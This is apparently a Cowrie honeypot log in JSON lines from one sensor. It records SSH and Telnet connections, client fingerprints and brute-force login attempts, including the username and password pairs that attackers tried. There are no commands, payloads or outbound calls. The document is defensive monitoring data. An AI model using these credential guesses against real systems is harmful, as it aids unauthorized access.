{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":48622,"dst_ip":"10.17.0.5","dst_port":22,"session":"210ca544cd5c","protocol":"ssh","message":"New connection: 138.124.158.150:48622 (10.17.0.5:22) [session: 210ca544cd5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.751204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.755435Z","src_ip":"138.124.158.150","session":"210ca544cd5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.923590Z","src_ip":"138.124.158.150","session":"210ca544cd5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:40.634485Z","src_ip":"138.124.158.150","session":"210ca544cd5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:41.807203Z","src_ip":"138.124.158.150","session":"210ca544cd5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":51126,"dst_ip":"10.17.0.5","dst_port":22,"session":"53041fd3f599","protocol":"ssh","message":"New connection: 138.124.158.150:51126 (10.17.0.5:22) [session: 53041fd3f599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:41.978528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:41.987905Z","src_ip":"138.124.158.150","session":"53041fd3f599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:42.161380Z","src_ip":"138.124.158.150","session":"53041fd3f599","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:42.885777Z","src_ip":"138.124.158.150","session":"53041fd3f599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:43.060518Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:43.065863Z","src_ip":"138.124.158.150","session":"53041fd3f599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.9831862449646,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:11.065110Z","src_ip":"212.55.149.117","session":"8323ee433603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":1337,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7fa5767f8e5","protocol":"telnet","message":"New connection: 212.55.149.117:1337 (10.17.0.5:23) [session: a7fa5767f8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:19.535864Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":42234,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d78365699a","protocol":"telnet","message":"New connection: 166.62.41.96:42234 (159.203.135.109:23) [session: 65d78365699a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:31.864532Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":42330,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea402874414","protocol":"telnet","message":"New connection: 166.62.41.96:42330 (159.203.135.109:23) [session: bea402874414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:32.232645Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a37a3b96874","protocol":"ssh","message":"New connection: 2.57.122.208:44520 (159.203.135.109:22) [session: 2a37a3b96874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:48.730385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:48.836465Z","src_ip":"2.57.122.208","session":"2a37a3b96874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:49.024677Z","src_ip":"2.57.122.208","session":"2a37a3b96874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:50.128915Z","src_ip":"2.57.122.208","session":"2a37a3b96874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:51.332045Z","src_ip":"2.57.122.208","session":"2a37a3b96874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":13855,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d77171004d6","protocol":"ssh","message":"New connection: 213.209.159.56:13855 (159.203.135.109:22) [session: 3d77171004d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:59.972229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:12:59.978528Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:00.057310Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet","message":"login attempt [lizet/lizet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:00.419745Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet1","message":"login attempt [lizet/lizet1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:01.505294Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27903389930725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:02.143464Z","src_ip":"166.62.41.96","session":"65d78365699a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet123","message":"login attempt [lizet/lizet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:02.594813Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91328191757202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:03.145826Z","src_ip":"166.62.41.96","session":"bea402874414","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet1234","message":"login attempt [lizet/lizet1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:03.680272Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet12345","message":"login attempt [lizet/lizet12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:04.772549Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:05.859272Z","src_ip":"213.209.159.56","session":"3d77171004d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":39818,"dst_ip":"10.17.0.5","dst_port":22,"session":"90691c5a42f0","protocol":"ssh","message":"New connection: 138.124.158.150:39818 (10.17.0.5:22) [session: 90691c5a42f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:10.634907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:10.651779Z","src_ip":"138.124.158.150","session":"90691c5a42f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:10.829422Z","src_ip":"138.124.158.150","session":"90691c5a42f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234567","message":"login attempt [ftpuser/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:11.563541Z","src_ip":"138.124.158.150","session":"90691c5a42f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:12.742087Z","src_ip":"138.124.158.150","session":"90691c5a42f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52074,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a8799c32fa","protocol":"ssh","message":"New connection: 194.59.206.2:52074 (10.17.0.5:22) [session: 89a8799c32fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:25.554382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:25.564134Z","src_ip":"194.59.206.2","session":"89a8799c32fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:25.650772Z","src_ip":"194.59.206.2","session":"89a8799c32fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:13:25.741721Z","src_ip":"194.59.206.2","session":"89a8799c32fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02498888969421,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:19.560734Z","src_ip":"212.55.149.117","session":"a7fa5767f8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"411e01f606b4","protocol":"telnet","message":"New connection: 212.55.149.117:34108 (10.17.0.5:23) [session: 411e01f606b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:21.804988Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.88.226.68","src_port":47090,"dst_ip":"10.17.0.5","dst_port":23,"session":"4325508771c6","protocol":"telnet","message":"New connection: 197.88.226.68:47090 (10.17.0.5:23) [session: 4325508771c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:27.888558Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":59882,"dst_ip":"159.203.135.109","dst_port":23,"session":"d533b8b656f8","protocol":"telnet","message":"New connection: 129.232.238.42:59882 (159.203.135.109:23) [session: d533b8b656f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:33.273233Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":58890,"dst_ip":"10.17.0.5","dst_port":22,"session":"80dc7b6ac642","protocol":"ssh","message":"New connection: 138.124.158.150:58890 (10.17.0.5:22) [session: 80dc7b6ac642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:42.715678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:42.720585Z","src_ip":"138.124.158.150","session":"80dc7b6ac642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:42.892257Z","src_ip":"138.124.158.150","session":"80dc7b6ac642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintrup","message":"login attempt [root/admintrup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:43.613037Z","src_ip":"138.124.158.150","session":"80dc7b6ac642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:14:44.788747Z","src_ip":"138.124.158.150","session":"80dc7b6ac642","protocol":"ssh"}
